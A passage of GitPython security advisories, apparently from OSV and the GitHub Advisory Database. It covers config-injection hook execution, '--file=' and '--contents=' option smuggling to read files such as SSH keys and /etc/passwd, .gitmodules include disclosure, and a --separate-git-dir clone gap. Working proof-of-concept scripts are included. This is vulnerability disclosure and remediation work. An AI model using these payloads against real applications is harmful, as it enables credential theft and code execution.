        f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker)
    os.chmod(hook_path, 0o755)

    import git  # gitpython under test

    repo = git.Repo(repo_dir)
    before = repo.config_reader().get_value("core", "zzz")
    print("core.zzz before any GitPython write =", repr(before))

    # ONE totally unrelated, benign write -- this is the only "attacker-adjacent"
    # action required, and it is something virtually every GitPython consumer
    # does routinely (setting an option, adding a remote, updating a branch's
    # tracking config, ...).
    with repo.config_writer() as cw:
        cw.set_value("user", "name", "Test User")

    post = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if post.returncode != 0:
        print("NOT VULNERABLE: core.hookspath still absent after the unrelated write")
        sys.exit(1)

    injected_path = post.stdout.strip()
    print("core.hookspath is now LIVE after one unrelated write:", injected_path)

    # Trigger the hook with a normal commit to prove it fires.
    with open(os.path.join(repo_dir, "file2.txt"), "w") as f:
        f.write("change\n")
    subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True)
    subprocess.run(
        ["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T",
         "commit", "-q", "-m", "trigger hook"],
        check=True,
    )

    if os.path.isfile(marker):
        with open(marker) as f:
            content = f.read().strip()
        print("VULNERABLE: hook fired, marker content =", content)
        sys.exit(0)
    else:
        print("NOT VULNERABLE: hook did not fire")
        sys.exit(1)

if __name__ == "__main__":
    main()

Severity

• CVSS Score: 9.3 / 10 (Critical)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w
• https://nvd.nist.gov/vuln/detail/CVE-2026-78676
• https://github.com/gitpython-developers/GitPython
• https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml
• https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)

CVE-2026-78679 / GHSA-3wxw-xv34-2frg / PYSEC-2026-3837

More information

Details

Summary

TagReference.create() forwards a caller-influenced positional reference value into git tag without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit 3af0c251 (the fix for GHSA-3f7w-8rr8-f37f's tag instance).

Root Cause

The fix 3af0c251 added unsafe_git_tag_options = ["--file","-F"] and a guard call, but the guard is Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...) at git/refs/tag.py:139 — it passes an EMPTY args list and inspects kwargs only. The dangerous values path and reference are POSITIONALS (args = (path, reference), tag.py:156), placed before any --. A user-influenced reference="--file=<path>" therefore reaches git tag as the exact --file option the fix intended to block, creating an annotated tag whose message is the file's contents.

Impact

Arbitrary local file read at the privileges of the host process; contents returned in-band via tagref.tag.message. Requires the embedding application to forward a caller-influenced reference value into TagReference.create() (pure VALUE control — the CVE-2026-42215 threat model). Default allow_unsafe_options=False.

Proof of Concept

from git import TagReference
t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa")
print(t.tag.message)   # contents of the file

Attack Chain

1. Entry: app calls TagReference.create(repo, name, reference=<user>) with reference="--file=/home/app/.ssh/id_rsa".
2. Check: Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"]) @​ tag.py:137-141. Guard: denylist includes --file/-F. Bypass proof: _option_candidates receives args=[] → the positional reference is never a candidate (the kwarg spelling file="…" IS blocked; only the positional escapes).
3. Sink: repo.git.tag(*args, **kwargs) @​ tag.py:158 → no --. argv (observed): ['git','tag','-f','vpwn','--file=<secret>'].
4. Impact: annotated tag created; tagref.tag.message == file contents (arbitrary file read).

Bypass Evidence

Independently reproduced (independent test harness, git 2.43.0, default allow_unsafe_options=False): TagReference.create(repo,'vp','--file=<secret>') → PASSED; tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'. Control: TagReference.create(..., file='<secret>') → UnsafeOptionError: --file is not allowed. Fix-commit read: 3af0c251 adds _option_candidates([], kwargs) (empty args → positional never a candidate).

Affected Versions

GitPython <= 3.1.58 (sink present verbatim on the latest release tag; git diff 3.1.57..HEAD touches only test files).

Suggested Fix

Include the positional reference (and path) in the option-candidate list passed to check_unsafe_options, or place a -- separator before the positional arguments in TagReference.create().

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg
• https://nvd.nist.gov/vuln/detail/CVE-2026-78679
• https://github.com/gitpython-developers/GitPython/pull/2208
• https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59
• https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via Repo.blame()

CVE-2026-78678 / GHSA-5xxx-qhh7-9287 / PYSEC-2026-3788

More information

Details

Summary

Repo.blame() / Repo.blame_incremental() guard forwarded revision options against unsafe_git_revision_options, but that denylist only contains the file-WRITE options --output/-o. git blame also honors --contents <file> and -S <file>, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of --contents=<path> passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame --output WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory).

Root Cause

unsafe_git_revision_options = ["--output","-o"] (git/repo/base.py:188). The rev string is passed to _option_candidates([rev], kwargs) and placed BEFORE the -- separator (base.py:841). The canonical name of --contents=... is contents, which is not on the denylist, so no UnsafeOptionError is raised. The trailing -- protects only the pathspec, not the option before the revision.

Impact

Arbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default allow_unsafe_options=False.

Proof of Concept

result = repo.blame("--contents=/etc/passwd", "a.txt")

##### result rows carry the victim file's line text

Attack Chain

1. Entry: app calls repo.blame(rev, file) with attacker rev="--contents=/etc/passwd" (or kwarg contents="/etc/passwd", or -S).
2. Check: Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options) @​ base.py:841. Guard: denylist = ["--output","-o"] only. Bypass proof: canonical name contents ∉ denylist → no error.
3. Sink: self.git.blame(rev, "--", file, p=True, ...). argv (observed): ['git','blame','-p','--contents=<secret>','HEAD','--','a.txt'].
4. Impact: blame result rows carry the victim file's line text.

Bypass Evidence

Independently reproduced (independent test harness, default allow_unsafe_options=False): blame('--contents=<secret>','a.txt') → guard PASSED; result rows = ['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']. Control: blame('--output=…') still BLOCKED (guard active on this path). -S kwarg argv also reaches git unguarded.

Affected Versions

GitPython <= 3.1.58 (denylist present verbatim on the latest release tag).

Suggested Fix

Prefer an allowlist of blame options; at minimum add --contents/-S (and any other path-taking blame options) to unsafe_git_revision_options, and make the membership rule "the option takes a filesystem path" rather than "the option writes output".

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287
• https://nvd.nist.gov/vuln/detail/CVE-2026-78678
• https://github.com/gitpython-developers/GitPython
• https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3788.yaml
• https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)

CVE-2026-78675 / GHSA-7833-fr7j-v32q / PYSEC-2026-3785

More information

Details

[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)

• CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
• Affected component: git/objects/submodule/base.py, Submodule._config_parser() (~line 273) constructing SubmoduleConfigParser(fp_module, read_only=read_only); git/config.py, GitConfigParser.__init__ (merge_includes default), GitConfigParser.read()/_included_paths() (include-path resolution, ~lines 630-685), GitConfigParser._read() (~line 493-498, MissingSectionHeaderError)
• Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability

GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).

That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.

GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.

Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.

Root cause

Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)

Exploit path

1. Attacker crafts a repository whose .gitmodules contains a legitimate-looking [submodule ...] section plus:

   [include]
   	path = /etc/passwd
   

   (an absolute path bypasses any traversal reasoning entirely; a relative ../../../../etc/passwd-style path works too).
2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: list(repo.submodules) (or any for sm in repo.submodules) — no update(), init(), or checkout of any kind required.
3. SubmoduleConfigParser (inheriting merge_includes=True) follows the [include] directive, opens /etc/passwd, and GitConfigParser._read() raises MissingSectionHeaderError whose message embeds /etc/passwd's first line verbatim.
4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on repo.submodules — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).

Impact

Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).

Preconditions

• Victim clones (or otherwise opens with GitPython) a repository whose .gitmodules is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for).
• Victim performs any operation that touches repo.submodules — one of the most ordinary GitPython operations, requiring no submodule update/init/checkout.
• No authentication/role requirement inside GitPython itself.

Evidence

• git/config.py — GitConfigParser.__init__ defaults merge_includes=True.
• git/objects/submodule/base.py:273 — SubmoduleConfigParser(fp_module, read_only=read_only) passes neither merge_includes nor repo=; git blame shows this call unchanged since the class was introduced, and git show 41ecc6a4 confirms that commit touched only git/repo/base.py's Repo.config_writer(), never this call site.
• git/config.py _included_paths()/read() (~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs() short-circuit); no repository-boundary containment check exists anywhere in this path.
• git/config.py _read() (~493-498) — raises cp.MissingSectionHeaderError(fpname, lineno, line) with the raw file line embedded, matching Python stdlib configparser's own __str__ behavior.
• Submodule.iter_items() catches only (IOError, BadName) — configparser.Error (the base of MissingSectionHeaderError) is not swallowed.
• PoC (gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from + list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and /etc/passwd.

False-positive check (adversarial re-read)

• Is this the same bug as GHSA-hmq2-w58f-27jc? No — that advisory is about the .gitmodules submodule name driving _module_abspath/os.makedirs() (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the [include] directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).
• Is this the same bug as GHSA-cwvm-v4w8-q58c (blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in git/refs/symbolic.py's ref-name resolution feeding Repo.commit/tree/index.diff — an entirely different module and code path. This finding discloses actual file content via git/config.py's include-directive resolution.
• Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard clone_from + list(repo.submodules) workflow.
• Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading Submodule.iter_items()'s exception handling, which catches only IOError/BadName; configparser.MissingSectionHeaderError propagates uncaught.
• Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and /etc/passwd.

Remediation

Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.

Confidence

High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).

Proof-of-Concept source (gitpython-003-poc.py)

#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>

Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys

def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
    target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")

    attacker_repo = os.path.join(workdir, "attacker-repo")
    dest = os.path.join(workdir, "dest")
    for p in (attacker_repo, dest):
        os.makedirs(p, exist_ok=True)

    if not os.path.exists(target_file):
        os.makedirs(os.path.dirname(target_file), exist_ok=True)
        with open(target_file, "w") as f:
            f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")

    subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
    subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
    subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)

    with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
        f.write("hello\n")

    with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
        f.write(
            '[submodule "totally-normal-dep"]\n'
            "\tpath = vendor/dep\n"
            "\turl = https://example.com/dep.git\n"
            "[include]\n"
            "\tpath = %s\n" % target_file
        )

    subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
    subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)

    import git  # gitpython under test
    import configparser

    repo = git.Repo.clone_from(attacker_repo, dest)

    try:
        subs = list(repo.submodules)
        print("NOT VULNERABLE: no exception raised, submodules =", subs)
        sys.exit(1)
    except configparser.MissingSectionHeaderError as e:
        msg = str(e)
        print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
        print(msg)
        with open(target_file) as f:
            first_line = f.readline().rstrip("\n")
        if first_line in msg:
            print("Confirmed: target file's first line is present verbatim in the exception message.")
            sys.exit(0)
        else:
            print("NOT VULNERABLE: exception message did not contain the expected content")
            sys.exit(1)

if __name__ == "__main__":
    main()

Severity

• CVSS Score: 8.6 / 10 (High)
• Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q
• https://nvd.nist.gov/vuln/detail/CVE-2026-78675
• https://github.com/gitpython-developers/GitPython/pull/2211
• https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59
• https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml
• https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination

CVE-2026-78677 / GHSA-8mcc-hrx5-hvxc / PYSEC-2026-3787

More information

Details

• CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
• Affected component: git/repo/base.py, Repo.unsafe_git_clone_options (class attribute, lines 153-165) and Repo._clone() (lines 1477-1520), reached via the public Repo.clone_from() (line 1626) and Repo.clone() (line 1567) APIs.
• Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability

Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).

git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:

:param allow_unsafe_options:
    Allow unsafe options to be used, such as ``--template`` and
    ``--separate-git-dir``.

i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:

unsafe_git_clone_options = [
    "--upload-pack",
    "-u",
    "--config",
    "-c",
    "--template",
    "--bundle-uri",
]

So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.

Root cause

Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).

Exploit path

1. Attacker-controlled input reaches a separate_git_dir=... (or equivalently "separate-git-dir") keyword argument passed into Repo.clone_from() / Repo.clone() by the host application, with allow_unsafe_options left at its default False.
2. Git._option_candidates() renders this as --separate-git-dir and Git.check_unsafe_options() checks it against Repo.unsafe_git_clone_options — no match, no UnsafeOptionError raised.
3. Git.transform_kwargs() renders the same kwarg into the real command line as --separate-git-dir=<attacker path> and GitPython executes git clone -v --separate-git-dir=<attacker path> -- <url> <dest> via subprocess (no shell).
4. git itself creates the full repository metadata tree (config, description, HEAD, hooks/, index, objects/, refs/, packed-refs, logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.

Impact

Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:

• Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
• If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
• Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.

Preconditions

• The calling application forwards a caller-influenced value into a separate_git_dir kwarg of Repo.clone_from()/Repo.clone() (or into the multi_options list as a raw --separate-git-dir=... token) without itself validating/rejecting it, and does not pass allow_unsafe_options=True intentionally. This is the identical trust model GitPython's own denylist already defends for --template/--upload-pack/--config/--bundle-uri on the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted.
• No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.

Evidence

• git/repo/base.py:145-151 — unsafe_git_init_options includes "--separate-git-dir" with the comment "Redirects the repository metadata to a caller-controlled path".
• git/repo/base.py:153-165 — unsafe_git_clone_options (the list actually enforced on _clone) does not include "--separate-git-dir".
• git/repo/base.py:1450-1452 — docstring of clone_from/clone explicitly documents --separate-git-dir as one of the options allow_unsafe_options is supposed to gate.
• git/repo/base.py:1495-1518 — _clone() special-cases separate_git_dir only to Git.polish_url() it (path normalization for URL-like values), then runs it through Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options) — which, per the list above, does not flag it.
• PoC (gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the real git clone subprocess unguarded and creates a full git directory outside the destination path, with allow_unsafe_options at its default False.

False-positive check (adversarial re-read)

• Is there a value-level check that would still stop this? No — check_unsafe_options only inspects option names (via _canonicalize_option_name) against the denylist; it performs no filesystem/path validation on separate_git_dir's value, and no other guard in _clone() touches this kwarg besides the Git.polish_url() normalization (which does not reject arbitrary paths).
• Is --separate-git-dir perhaps a no-op or safely sandboxed for clone specifically (unlike init)? No — confirmed empirically: the option reaches the real git binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.
• Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in _known-advisories.json (Filter 0): GHSA-9rj7-rf2p-w77r covers --template in Repo.init; GHSA-6p8h-3wgx-97gf covers --template in clone (already fixed, present in unsafe_git_clone_options); GHSA-hmq2-w58f-27jc covers arbitrary repo creation via unvalidated .gitmodules submodule names (a different code path — Submodule, not Repo.clone_from() kwargs). None reference --separate-git-dir on the clone path. This is a distinct, currently-unpatched gap.
• Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template, --upload-pack, --config, --bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry.
• Verdict: no concrete blocker found. CONFIRMED.

Remediation

Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.

Confidence

High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.

Proof-of-Concept source (gitpython-001-poc.py)

#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.

Run against the GitPython source tree under test, e.g.:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>

Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess

def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
    src = os.path.join(workdir, "src")
    dest = os.path.join(workdir, "dest")
    sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
    target_gitdir = os.path.join(sentinel_dir, "redirected.git")

    for p in (src, dest, sentinel_dir):
        os.makedirs(p, exist_ok=True)

    # Minimal benign source repo to clone from.
    subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
    subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
    subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
    with open(os.path.join(src, "file.txt"), "w") as f:
        f.write("hello\n")
    subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
    subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)

    import git  # gitpython under test

    print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
    assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
        "guard now includes --separate-git-dir; PoC no longer applicable, target patched"
    )

    try:
        repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
    except git.exc.UnsafeOptionError as e:
        print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
        sys.exit(1)

    wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
        os.path.join(target_gitdir, "config")
    )
    gitlink_points_outside = False
    with open(os.path.join(dest, ".git")) as f:
        gitlink = f.read().strip()
        gitlink_points_outside = target_gitdir in gitlink

    print("repo.git_dir =", repo.git_dir)
    print("wrote git directory outside dest (sentinel) =", wrote_outside)
    print("dest/.git gitlink points outside dest =", gitlink_points_outside)

    if wrote_outside and gitlink_points_outside:
        print("VULNERABLE: git directory created at attacker-controlled path "
              f"outside the clone destination: {target_gitdir}")
        sys.exit(0)
    else:
        print("NOT VULNERABLE: sentinel not observed")
        sys.exit(1)

if __name__ == "__main__":
    main()

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc
• https://nvd.nist.gov/vuln/detail/CVE-2026-78677
• https://github.com/gitpython-developers/GitPython/pull/2210
• https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59
• https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml
